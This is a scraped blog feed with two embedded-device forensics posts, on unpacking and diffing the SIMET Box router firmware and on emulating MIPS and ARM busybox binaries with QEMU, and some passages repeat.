I just started this new Blog to talk about some personal projects, exploits and hacking in general. I'm a Brazilian Infosec guy interested on embedded device hacking (modems, routers etc), webapp security, console hacking and forensics. My twitter handle is @bernardomr, feel free to ping me.
↧
Hello world
↧
SIMET Box Firmware Analysis: Embedded Device Hacking & Forensics
For my first blog post I decided to have a quick look on the firmware from SIMET Box. SIMET is organized by the Brazilian NIC.br in order to test and monitor the Internet speed across the country. For more info (in portuguese) visit their site here. All the data collected is available to the community on reports and heat maps like this.
The organization is now handing out free Wi-Fi routers to Brazilians in order to measure the Internet quality on different regions. The SIMET Box equipment is a custom TL-WR740N pre-installed with OpenWRT. You can also download and install the standalone firmware on other TPLink's SOHO routers.
The project is quite interesting but in times of PRISM and NSA I don't like the idea of using a "black box" at home, so I decided to check its design.
Firmware
As I don't have the actual box, I'll analyze SIMET Box's firmware image. The firmware can be downloaded from http://simet.nic.br/firmware. For this initial analysis I'll be using simetbox-tl-wr740n-v4.bin (MD5 d08798093e1591bece897671e96b5983).
Let's start by using Craig Heffner'sbinwalk and firmware-mod-kit to unsquash the filesystem:
After extracting the files we can browse through the squashfs-root dir and grep files to identify OpenWrt's version base:
After extracting the base firmware (using binwalk) we now have two directory trees to diff. We can use WinMerge or Kdiff3 to compare files.
There are some new init.d scripts like atualiza_arqs, autossh, miniupnpd and zabbix_agentd:
Lots of binaries (/bin/busibox for example) are quite similar: they may have a small version difference or were compiled using particular command line arguments:
List of files created by SIMET Box (not present on the OpenWrt's base firmware):
The organization is now handing out free Wi-Fi routers to Brazilians in order to measure the Internet quality on different regions. The SIMET Box equipment is a custom TL-WR740N pre-installed with OpenWRT. You can also download and install the standalone firmware on other TPLink's SOHO routers.
The project is quite interesting but in times of PRISM and NSA I don't like the idea of using a "black box" at home, so I decided to check its design.
Firmware
As I don't have the actual box, I'll analyze SIMET Box's firmware image. The firmware can be downloaded from http://simet.nic.br/firmware. For this initial analysis I'll be using simetbox-tl-wr740n-v4.bin (MD5 d08798093e1591bece897671e96b5983).
Let's start by using Craig Heffner'sbinwalk and firmware-mod-kit to unsquash the filesystem:
binwalk -Me simetbox-tl-wr740n-v4.bin
After extracting the files we can browse through the squashfs-root dir and grep files to identify OpenWrt's version base:
We now know that SIMET Box is based on Attitude Adjustment branch (v12.09) for Atheros AR71xx, downloadable on OpenWRT's official site: openwrt-ar71xx-generic-tl-wr740n-v4-squashfs-factory.bin.
After extracting the base firmware (using binwalk) we now have two directory trees to diff. We can use WinMerge or Kdiff3 to compare files.
Lots of binaries (/bin/busibox for example) are quite similar: they may have a small version difference or were compiled using particular command line arguments:
List of files created by SIMET Box (not present on the OpenWrt's base firmware):
while read -r i ; do file $i ; done < list.txt
/etc/config/autossh: ASCII text
/etc/config/upnpd: ASCII text
/etc/dropbear/authorized_keys: OpenSSH DSA public key
/etc/dropbear/id_rsa: data
/etc/hotplug.d/button/00-button: ASCII text
/etc/hotplug.d/iface/20-autossh: POSIX shell script, ASCII text executable
/etc/hotplug.d/iface/50-miniupnpd: POSIX shell script, ASCII text executable
/etc/init.d/atualiza_arqs_simet: POSIX shell script, ASCII text executable
/etc/init.d/autossh: POSIX shell script, ASCII text executable
/etc/init.d/miniupnpd: POSIX shell script, ASCII text executable
/etc/init.d/zabbix_agentd: POSIX shell script, ASCII text executable
/etc/rc.d/S11sysctl: symbolic link to `../init.d/sysctl'
/etc/rc.d/S19firewall: symbolic link to `../init.d/firewall'
/etc/rc.d/S45atualiza_arqs_simet: symbolic link to `../init.d/atualiza_arqs_simet'
/etc/rc.d/S60zabbix_agentd: symbolic link to `../init.d/zabbix_agentd'
/etc/rc.d/S80autossh: symbolic link to `../init.d/autossh'
/etc/rc.d/S95miniupnpd: symbolic link to `../init.d/miniupnpd'
/etc/uci-defaults/50-reset: POSIX shell script, ASCII text executable
/etc/uci-defaults/50-reset-wps: POSIX shell script, ASCII text executable
/etc/uci-defaults/50-wifi: POSIX shell script, ASCII text executable
/etc/uci-defaults/99-miniupnpd: POSIX shell script, ASCII text executable
/etc/uci-defaults/luci-i18n-portuguese_brazilian: POSIX shell script, UTF-8 Unicode text executable
/etc/uci-defaults/luci-theme-bootstrap: POSIX shell script, ASCII text executable
/etc/uci-defaults/luci-upnp: POSIX shell script, ASCII text executable
/etc/zabbix_agentd.conf: ASCII text
/lib/libpthread-0.9.33.2.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
/lib/libpthread.so.0: symbolic link to `libpthread-0.9.33.2.so'
/root/.ssh/known_hosts: ASCII text, with very long lines
/sbin/fw3: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/bin/auto_upgrade: symbolic link to `simet_tools'
/usr/bin/checa_udhcpc.sh: POSIX shell script, ASCII text executable
/usr/bin/get_mac_address.sh: POSIX shell script, ASCII text executable
/usr/bin/simet_client: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/bin/simet_dns: symbolic link to `simet_tools'
/usr/bin/simet_porta25: symbolic link to `simet_tools'
/usr/bin/simet_tools: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/bin/sshreversetunnel: POSIX shell script, ASCII text executable
/usr/bin/teste_spoofing.sh: POSIX shell script, ASCII text executable
/usr/bin/wifionoff: POSIX shell script, ASCII text executable
/usr/lib/lua/luci/controller/simet.lua: ASCII text
/usr/lib/lua/luci/controller/upnp.lua: ASCII text
/usr/lib/lua/luci/i18n/base.pt-br.lmo: data
/usr/lib/lua/luci/i18n/upnp.ca.lmo: data
/usr/lib/lua/luci/i18n/upnp.cs.lmo: data
/usr/lib/lua/luci/i18n/upnp.de.lmo: data
/usr/lib/lua/luci/i18n/upnp.es.lmo: data
/usr/lib/lua/luci/i18n/upnp.fr.lmo: data
/usr/lib/lua/luci/i18n/upnp.hu.lmo: data
/usr/lib/lua/luci/i18n/upnp.it.lmo: data
/usr/lib/lua/luci/i18n/upnp.ja.lmo: data
/usr/lib/lua/luci/i18n/upnp.no.lmo: data
/usr/lib/lua/luci/i18n/upnp.pl.lmo: data
/usr/lib/lua/luci/i18n/upnp.pt-br.lmo: data
/usr/lib/lua/luci/i18n/upnp.pt.lmo: data
/usr/lib/lua/luci/i18n/upnp.ro.lmo: data
/usr/lib/lua/luci/i18n/upnp.ru.lmo: data
/usr/lib/lua/luci/i18n/upnp.vi.lmo: data
/usr/lib/lua/luci/i18n/upnp.zh-cn.lmo: data
/usr/lib/lua/luci/model/cbi/upnp/upnp.lua: ASCII text
/usr/lib/lua/luci/sgi/uhttpd.lua: ASCII text
/usr/lib/lua/luci/view/admin_status/index/upnp.htm: ASCII text
/usr/lib/lua/luci/view/simet/simet.htm: HTML document, UTF-8 Unicode text
/usr/lib/lua/luci/view/themes/bootstrap/footer.htm: HTML document, ASCII text
/usr/lib/lua/luci/view/themes/bootstrap/header.htm: HTML document, ASCII text
/usr/lib/lua/luci/view/upnp_status.htm: HTML document, ASCII text
/usr/lib/opkg/info/autossh.conffiles: ASCII text
/usr/lib/opkg/info/autossh.control: ASCII text
/usr/lib/opkg/info/autossh.list: ASCII text
/usr/lib/opkg/info/hping3.control: ASCII text
/usr/lib/opkg/info/hping3.list: ASCII text
/usr/lib/opkg/info/libip6tc.control: ASCII text
/usr/lib/opkg/info/libip6tc.list: ASCII text
/usr/lib/opkg/info/libnfnetlink.control: ASCII text
/usr/lib/opkg/info/libnfnetlink.list: ASCII text
/usr/lib/opkg/info/libopenssl.control: ASCII text
/usr/lib/opkg/info/libopenssl.list: ASCII text
/usr/lib/opkg/info/libpcap.control: ASCII text
/usr/lib/opkg/info/libpcap.list: ASCII text
/usr/lib/opkg/info/libpthread.control: ASCII text
/usr/lib/opkg/info/libpthread.list: ASCII text
/usr/lib/opkg/info/luci-app-simet.control: ASCII text
/usr/lib/opkg/info/luci-app-simet.list: ASCII text
/usr/lib/opkg/info/luci-app-upnp.control: ASCII text
/usr/lib/opkg/info/luci-app-upnp.list: ASCII text
/usr/lib/opkg/info/luci-i18n-portuguese-brazilian.control: ASCII text
/usr/lib/opkg/info/luci-i18n-portuguese-brazilian.list: ASCII text
/usr/lib/opkg/info/luci-sgi-uhttpd.control: ASCII text
/usr/lib/opkg/info/luci-sgi-uhttpd.list: ASCII text
/usr/lib/opkg/info/luci-theme-bootstrap.control: ASCII text
/usr/lib/opkg/info/luci-theme-bootstrap.list: ASCII text
/usr/lib/opkg/info/miniupnpd.conffiles: ASCII text
/usr/lib/opkg/info/miniupnpd.control: ASCII text
/usr/lib/opkg/info/miniupnpd.list: ASCII text
/usr/lib/opkg/info/simet-base-files.control: ASCII text
/usr/lib/opkg/info/simet-base-files.list: ASCII text
/usr/lib/opkg/info/simet-client.control: ASCII text
/usr/lib/opkg/info/simet-client.list: ASCII text
/usr/lib/opkg/info/simet-tools.control: ASCII text
/usr/lib/opkg/info/simet-tools.list: ASCII text
/usr/lib/opkg/info/uhttpd-mod-lua.control: ASCII text
/usr/lib/opkg/info/uhttpd-mod-lua.list: ASCII text
/usr/lib/opkg/info/zabbix-agentd.control: ASCII text
/usr/lib/opkg/info/zabbix-agentd.list: ASCII text
/usr/lib/opkg/info/zlib.control: ASCII text
/usr/lib/opkg/info/zlib.list: ASCII text
/usr/lib/libcrypto.so.1.0.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libip6tc.so: symbolic link to `libip6tc.so.0.0.0'
/usr/lib/libip6tc.so.0: symbolic link to `libip6tc.so.0.0.0'
/usr/lib/libip6tc.so.0.0.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libjson-c.so.2: symbolic link to `libjson-c.so.2.0.1'
/usr/lib/libjson-c.so.2.0.1: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libnfnetlink.so.0: symbolic link to `libnfnetlink.so.0.2.0'
/usr/lib/libnfnetlink.so.0.2.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libpcap.so: symbolic link to `libpcap.so.1.1'
/usr/lib/libpcap.so.1.1: symbolic link to `libpcap.so.1.1.1'
/usr/lib/libpcap.so.1.1.1: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libssl.so.1.0.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libz.so: symbolic link to `libz.so.1.2.7'
/usr/lib/libz.so.1: symbolic link to `libz.so.1.2.7'
/usr/lib/libz.so.1.2.7: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/uhttpd_lua.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/sbin/autossh: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/sbin/hping3: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/sbin/miniupnpd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/sbin/zabbix_agentd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/share/libiwinfo/hardware.txt: ASCII text
/usr/share/miniupnpd/firewall.include: POSIX shell script, ASCII text executable
/www/luci-static/bootstrap/cascade.css: assembler source, ASCII text
/www/luci-static/bootstrap/favicon.ico: MS Windows icon resource - 1 icon
/www/luci-static/bootstrap/html5.js: HTML document, ASCII text, with very long lines
/www/simet/ceptro.png: PNG image data, 78 x 30, 8-bit colormap, non-interlaced
/www/simet/cgi.png: PNG image data, 46 x 30, 8-bit colormap, non-interlaced
/www/simet/nic.png: PNG image data, 47 x 25, 8-bit colormap, non-interlaced
/www/simet/nonet.htm: UTF-8 Unicode text
/www/simet/offline.jpg: JPEG image data, EXIF standard
/www/simet/simetbox_minilogo.png: PNG image data, 111 x 23, 8-bit colormap, non-interlaced
/www/simet/view_tab.css: assembler source, ASCII text
/www/simet/view_tab.js: UTF-8 Unicode text, with very long lines
/etc/config/upnpd: ASCII text
/etc/dropbear/authorized_keys: OpenSSH DSA public key
/etc/dropbear/id_rsa: data
/etc/hotplug.d/button/00-button: ASCII text
/etc/hotplug.d/iface/20-autossh: POSIX shell script, ASCII text executable
/etc/hotplug.d/iface/50-miniupnpd: POSIX shell script, ASCII text executable
/etc/init.d/atualiza_arqs_simet: POSIX shell script, ASCII text executable
/etc/init.d/autossh: POSIX shell script, ASCII text executable
/etc/init.d/miniupnpd: POSIX shell script, ASCII text executable
/etc/init.d/zabbix_agentd: POSIX shell script, ASCII text executable
/etc/rc.d/S11sysctl: symbolic link to `../init.d/sysctl'
/etc/rc.d/S19firewall: symbolic link to `../init.d/firewall'
/etc/rc.d/S45atualiza_arqs_simet: symbolic link to `../init.d/atualiza_arqs_simet'
/etc/rc.d/S60zabbix_agentd: symbolic link to `../init.d/zabbix_agentd'
/etc/rc.d/S80autossh: symbolic link to `../init.d/autossh'
/etc/rc.d/S95miniupnpd: symbolic link to `../init.d/miniupnpd'
/etc/uci-defaults/50-reset: POSIX shell script, ASCII text executable
/etc/uci-defaults/50-reset-wps: POSIX shell script, ASCII text executable
/etc/uci-defaults/50-wifi: POSIX shell script, ASCII text executable
/etc/uci-defaults/99-miniupnpd: POSIX shell script, ASCII text executable
/etc/uci-defaults/luci-i18n-portuguese_brazilian: POSIX shell script, UTF-8 Unicode text executable
/etc/uci-defaults/luci-theme-bootstrap: POSIX shell script, ASCII text executable
/etc/uci-defaults/luci-upnp: POSIX shell script, ASCII text executable
/etc/zabbix_agentd.conf: ASCII text
/lib/libpthread-0.9.33.2.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size
/lib/libpthread.so.0: symbolic link to `libpthread-0.9.33.2.so'
/root/.ssh/known_hosts: ASCII text, with very long lines
/sbin/fw3: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/bin/auto_upgrade: symbolic link to `simet_tools'
/usr/bin/checa_udhcpc.sh: POSIX shell script, ASCII text executable
/usr/bin/get_mac_address.sh: POSIX shell script, ASCII text executable
/usr/bin/simet_client: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/bin/simet_dns: symbolic link to `simet_tools'
/usr/bin/simet_porta25: symbolic link to `simet_tools'
/usr/bin/simet_tools: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/bin/sshreversetunnel: POSIX shell script, ASCII text executable
/usr/bin/teste_spoofing.sh: POSIX shell script, ASCII text executable
/usr/bin/wifionoff: POSIX shell script, ASCII text executable
/usr/lib/lua/luci/controller/simet.lua: ASCII text
/usr/lib/lua/luci/controller/upnp.lua: ASCII text
/usr/lib/lua/luci/i18n/base.pt-br.lmo: data
/usr/lib/lua/luci/i18n/upnp.ca.lmo: data
/usr/lib/lua/luci/i18n/upnp.cs.lmo: data
/usr/lib/lua/luci/i18n/upnp.de.lmo: data
/usr/lib/lua/luci/i18n/upnp.es.lmo: data
/usr/lib/lua/luci/i18n/upnp.fr.lmo: data
/usr/lib/lua/luci/i18n/upnp.hu.lmo: data
/usr/lib/lua/luci/i18n/upnp.it.lmo: data
/usr/lib/lua/luci/i18n/upnp.ja.lmo: data
/usr/lib/lua/luci/i18n/upnp.no.lmo: data
/usr/lib/lua/luci/i18n/upnp.pl.lmo: data
/usr/lib/lua/luci/i18n/upnp.pt-br.lmo: data
/usr/lib/lua/luci/i18n/upnp.pt.lmo: data
/usr/lib/lua/luci/i18n/upnp.ro.lmo: data
/usr/lib/lua/luci/i18n/upnp.ru.lmo: data
/usr/lib/lua/luci/i18n/upnp.vi.lmo: data
/usr/lib/lua/luci/i18n/upnp.zh-cn.lmo: data
/usr/lib/lua/luci/model/cbi/upnp/upnp.lua: ASCII text
/usr/lib/lua/luci/sgi/uhttpd.lua: ASCII text
/usr/lib/lua/luci/view/admin_status/index/upnp.htm: ASCII text
/usr/lib/lua/luci/view/simet/simet.htm: HTML document, UTF-8 Unicode text
/usr/lib/lua/luci/view/themes/bootstrap/footer.htm: HTML document, ASCII text
/usr/lib/lua/luci/view/themes/bootstrap/header.htm: HTML document, ASCII text
/usr/lib/lua/luci/view/upnp_status.htm: HTML document, ASCII text
/usr/lib/opkg/info/autossh.conffiles: ASCII text
/usr/lib/opkg/info/autossh.control: ASCII text
/usr/lib/opkg/info/autossh.list: ASCII text
/usr/lib/opkg/info/hping3.control: ASCII text
/usr/lib/opkg/info/hping3.list: ASCII text
/usr/lib/opkg/info/libip6tc.control: ASCII text
/usr/lib/opkg/info/libip6tc.list: ASCII text
/usr/lib/opkg/info/libnfnetlink.control: ASCII text
/usr/lib/opkg/info/libnfnetlink.list: ASCII text
/usr/lib/opkg/info/libopenssl.control: ASCII text
/usr/lib/opkg/info/libopenssl.list: ASCII text
/usr/lib/opkg/info/libpcap.control: ASCII text
/usr/lib/opkg/info/libpcap.list: ASCII text
/usr/lib/opkg/info/libpthread.control: ASCII text
/usr/lib/opkg/info/libpthread.list: ASCII text
/usr/lib/opkg/info/luci-app-simet.control: ASCII text
/usr/lib/opkg/info/luci-app-simet.list: ASCII text
/usr/lib/opkg/info/luci-app-upnp.control: ASCII text
/usr/lib/opkg/info/luci-app-upnp.list: ASCII text
/usr/lib/opkg/info/luci-i18n-portuguese-brazilian.control: ASCII text
/usr/lib/opkg/info/luci-i18n-portuguese-brazilian.list: ASCII text
/usr/lib/opkg/info/luci-sgi-uhttpd.control: ASCII text
/usr/lib/opkg/info/luci-sgi-uhttpd.list: ASCII text
/usr/lib/opkg/info/luci-theme-bootstrap.control: ASCII text
/usr/lib/opkg/info/luci-theme-bootstrap.list: ASCII text
/usr/lib/opkg/info/miniupnpd.conffiles: ASCII text
/usr/lib/opkg/info/miniupnpd.control: ASCII text
/usr/lib/opkg/info/miniupnpd.list: ASCII text
/usr/lib/opkg/info/simet-base-files.control: ASCII text
/usr/lib/opkg/info/simet-base-files.list: ASCII text
/usr/lib/opkg/info/simet-client.control: ASCII text
/usr/lib/opkg/info/simet-client.list: ASCII text
/usr/lib/opkg/info/simet-tools.control: ASCII text
/usr/lib/opkg/info/simet-tools.list: ASCII text
/usr/lib/opkg/info/uhttpd-mod-lua.control: ASCII text
/usr/lib/opkg/info/uhttpd-mod-lua.list: ASCII text
/usr/lib/opkg/info/zabbix-agentd.control: ASCII text
/usr/lib/opkg/info/zabbix-agentd.list: ASCII text
/usr/lib/opkg/info/zlib.control: ASCII text
/usr/lib/opkg/info/zlib.list: ASCII text
/usr/lib/libcrypto.so.1.0.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libip6tc.so: symbolic link to `libip6tc.so.0.0.0'
/usr/lib/libip6tc.so.0: symbolic link to `libip6tc.so.0.0.0'
/usr/lib/libip6tc.so.0.0.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libjson-c.so.2: symbolic link to `libjson-c.so.2.0.1'
/usr/lib/libjson-c.so.2.0.1: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libnfnetlink.so.0: symbolic link to `libnfnetlink.so.0.2.0'
/usr/lib/libnfnetlink.so.0.2.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libpcap.so: symbolic link to `libpcap.so.1.1'
/usr/lib/libpcap.so.1.1: symbolic link to `libpcap.so.1.1.1'
/usr/lib/libpcap.so.1.1.1: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libssl.so.1.0.0: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/libz.so: symbolic link to `libz.so.1.2.7'
/usr/lib/libz.so.1: symbolic link to `libz.so.1.2.7'
/usr/lib/libz.so.1.2.7: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/lib/uhttpd_lua.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size
/usr/sbin/autossh: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/sbin/hping3: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/sbin/miniupnpd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/sbin/zabbix_agentd: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), corrupted section header size
/usr/share/libiwinfo/hardware.txt: ASCII text
/usr/share/miniupnpd/firewall.include: POSIX shell script, ASCII text executable
/www/luci-static/bootstrap/cascade.css: assembler source, ASCII text
/www/luci-static/bootstrap/favicon.ico: MS Windows icon resource - 1 icon
/www/luci-static/bootstrap/html5.js: HTML document, ASCII text, with very long lines
/www/simet/ceptro.png: PNG image data, 78 x 30, 8-bit colormap, non-interlaced
/www/simet/cgi.png: PNG image data, 46 x 30, 8-bit colormap, non-interlaced
/www/simet/nic.png: PNG image data, 47 x 25, 8-bit colormap, non-interlaced
/www/simet/nonet.htm: UTF-8 Unicode text
/www/simet/offline.jpg: JPEG image data, EXIF standard
/www/simet/simetbox_minilogo.png: PNG image data, 111 x 23, 8-bit colormap, non-interlaced
/www/simet/view_tab.css: assembler source, ASCII text
/www/simet/view_tab.js: UTF-8 Unicode text, with very long lines
This simple technique is quite useful for forensic analysis of embedded devices, as you have a white-list of known binaries and config files. It's important to review both created and modified files, but I'll focus on the ones listed above. Each binary and config file can be reviewed separately so we can find interesting entries like:
- SSH reverse tunnel settings and authorized_keys:
- Password changing scripts and Iptables rules:
- The device management starting page has an external iframe and users are identified by their MAC Address via HTTP GET requests:
- Cronjobs to test external access to port 25 and if the ISP allows IP spoofing:
- Script using hping3 to test if the user's ISP allows packet spoofing:
- Zabbix agent settings:
As a quick advice to SIMET engineers, it would be nice to have HTTPS for those external queries, a bit more of transparency on what the equipment does internally, who's able to access it (whose authorized_keys are those?), what external IP addresses it communicates with and what information is being collected. Securing SOHO modems is very important, specially here in Brazil where lots of recent attacks were targeting these devices (Fabio Assolini's talk "The tale of one thousand and one DSL modems" detailed this a year ago).
On the next post I'll detail how to run those MIPS32 binaries on a virtual environment using QEMU and analyze some of the files with IDA Pro.
↧
↧
Analyzing and Running binaries from Firmware Images - Part 1
During the first part of SIMET Box Firmware analysis, we downloaded the firmware Image, extracted its contents, compared/analyzed its base and found a couple of interesting files (SSH keys, binary files, init scripts, firewall rules and so on).
For this part we'll focus on identifying binaries, comparing and executing them to find interesting data. Whenever you're analyzing binaries from different architectures, there are a couple of nice tools that aid debugging, reversing and emulating their behavior, like objdump, readelf and QEMU.
Embedded Debian Project provides pre-built binary toolchains for mips, mipsel, arm, armel, powerpc, and a couple of other architectures. In order to download and install it on Debian based Linux distros, you have to apt-get its archive signing key:
Now you you need to include their repository on your /etc/apt/sources.list:
After the apt-get update you can install binutils for you target archs:
For this little exercise I'll analyze three busybox binaries, from three different firmwares: busybox-simet (from SIMET Box), busybox-asuswrt (from AsusWRT-Merlin firmware) and busybox-sb6120 (from Motorolla's SB6120 Surfboard Cable Modem).
Architecture, Big-Endian or Little Endian?
When analyzing SIMET Box we already knew that the device was based on ar71xx platform, which is MIPS based and big endian as stated on OpenWRT's official page. If you want to find it by your own you can use the file utility:
Emdebian binutils also provide useful tools to identify further info from unknown binaries. A nice hack that I commonly use is to display information from object files using different toolchains in order to find out which one understands the file structure properly. For example, objdump -f displays contents of the overall file header.
We now know each file's format/architecture and can proceed using QEMU to emulate the binaries on a virtual environment.
QEMU
QEMU is a generic and open source machine emulator and virtualizer that supports architectures like MIPS, ARM and PowerPC. In order to setup and run single binaries with QEMU on Debian based Linux distributions, you need to install the qemu-user-static package. RogueAsian and devtty0 detail these steps here and here.
It's important to run qemu on a chrooted environment to avoid mixing your target's libraries with those on your host system.
AsusWRT-Merlin v3.0.0.4.374.32
Let's try this on AsusWRT's busybox first. We'll have to use qemu-mipsel-static because it's MIPS32 based and Little Endian.
Hmmm, not so lucky this time, ld-uClibc.so is missing. Let's check the dynamic section and copy the necessary libraries from the original firmware:
We can also cross compile these libraries on our own or install the target C libraries with dpkg-cross, but using the firmware original libraries is always preferred. After copying the necessary files, we can finally execute it using QEMU:
SB6120 v1.0.2.4-SCM01
Let's try to run busybox from Motorolla's cable modem Surfboard SV6120 (ARM/Big Endian):
BusyBox v1.4.2, might be vulnerable to CVE-2011-2716 =)
SIMET Box tl-wr740n-v4
Running the busybox binary extracted from SIMET Box (MIPS/Big Endian):
Unfortunately, qemu-mips-static did not recognize the ELF image properly and was unable to run SIMET Box's binaries on the fly. For the next post I'll detail on how to overcome this issue with SIMET Box's busybox by running a full OpenWRT MIPS environment on QEMU. This is useful because we can compile and run our own (compatible) kernel, set up a network device, analyze the network activity and its system-wide interactions.
ConclusionThese techniques help identifying unknown binaries from unknown architectures and running them on a virtual environment. They might be useful to analyze malware for embedded systems (Internet Census 2012 anyone?), during forensic analysis and to hack/find vulnerabilities on firmware images.
For this part we'll focus on identifying binaries, comparing and executing them to find interesting data. Whenever you're analyzing binaries from different architectures, there are a couple of nice tools that aid debugging, reversing and emulating their behavior, like objdump, readelf and QEMU.
Embedded Debian Project provides pre-built binary toolchains for mips, mipsel, arm, armel, powerpc, and a couple of other architectures. In order to download and install it on Debian based Linux distros, you have to apt-get its archive signing key:
sudo apt-get install emdebian-archive-keyring
Now you you need to include their repository on your /etc/apt/sources.list:
deb http://www.emdebian.org/debian/ squeeze main
After the apt-get update you can install binutils for you target archs:
sudo apt-get install binutils-mips-linux-gnu binutils-mipsel-linux-gnu binutils-arm-linux-gnueabi
For this little exercise I'll analyze three busybox binaries, from three different firmwares: busybox-simet (from SIMET Box), busybox-asuswrt (from AsusWRT-Merlin firmware) and busybox-sb6120 (from Motorolla's SB6120 Surfboard Cable Modem).
Architecture, Big-Endian or Little Endian?
When analyzing SIMET Box we already knew that the device was based on ar71xx platform, which is MIPS based and big endian as stated on OpenWRT's official page. If you want to find it by your own you can use the file utility:
Emdebian binutils also provide useful tools to identify further info from unknown binaries. A nice hack that I commonly use is to display information from object files using different toolchains in order to find out which one understands the file structure properly. For example, objdump -f displays contents of the overall file header.
- SIMET Box tl-wr740n-v4 (architecture: mips:isa32r2, file format elf32-tradbigmips)
- AsusWRT-Merlin v3.0.0.4.374.32 (architecture: mips:isa32 file format elf32-tradlittlemips)
- SB6120 v1.0.2.4-SCM01 (architecture: arm, file format elf32-bigarm)
We now know each file's format/architecture and can proceed using QEMU to emulate the binaries on a virtual environment.
QEMU
QEMU is a generic and open source machine emulator and virtualizer that supports architectures like MIPS, ARM and PowerPC. In order to setup and run single binaries with QEMU on Debian based Linux distributions, you need to install the qemu-user-static package. RogueAsian and devtty0 detail these steps here and here.
sudo apt-get install qemu-user-static
It's important to run qemu on a chrooted environment to avoid mixing your target's libraries with those on your host system.
AsusWRT-Merlin v3.0.0.4.374.32
Let's try this on AsusWRT's busybox first. We'll have to use qemu-mipsel-static because it's MIPS32 based and Little Endian.
Hmmm, not so lucky this time, ld-uClibc.so is missing. Let's check the dynamic section and copy the necessary libraries from the original firmware:
mips-linux-gnu-objdump -x bin/busybox-asuswrt | grep lib
We can also cross compile these libraries on our own or install the target C libraries with dpkg-cross, but using the firmware original libraries is always preferred. After copying the necessary files, we can finally execute it using QEMU:
cp `whereis qemu-mipsel-static | cut -d"" -f2` .
sudo chroot . ./qemu-mipsel-static bin/busybox-asuswrt
sudo chroot . ./qemu-mipsel-static bin/busybox-asuswrt
SB6120 v1.0.2.4-SCM01
Let's try to run busybox from Motorolla's cable modem Surfboard SV6120 (ARM/Big Endian):
cp `whereis qemu-armeb-static | cut -d"" -f2` .
sudo chroot . ./qemu-armeb-static bin/busybox-sb6120
sudo chroot . ./qemu-armeb-static bin/busybox-sb6120
BusyBox v1.4.2, might be vulnerable to CVE-2011-2716 =)
SIMET Box tl-wr740n-v4
Running the busybox binary extracted from SIMET Box (MIPS/Big Endian):
cp `whereis qemu-mips-static | cut -d"" -f2` .
sudo chroot . ./qemu-mips-static bin/busybox-simet
mips-linux-gnu-readelf -h bin/busybox-simet
sudo chroot . ./qemu-mips-static bin/busybox-simet
mips-linux-gnu-readelf -h bin/busybox-simet
Unfortunately, qemu-mips-static did not recognize the ELF image properly and was unable to run SIMET Box's binaries on the fly. For the next post I'll detail on how to overcome this issue with SIMET Box's busybox by running a full OpenWRT MIPS environment on QEMU. This is useful because we can compile and run our own (compatible) kernel, set up a network device, analyze the network activity and its system-wide interactions.
Conclusion
↧
Unpacking Firmware Images from Cable Modems
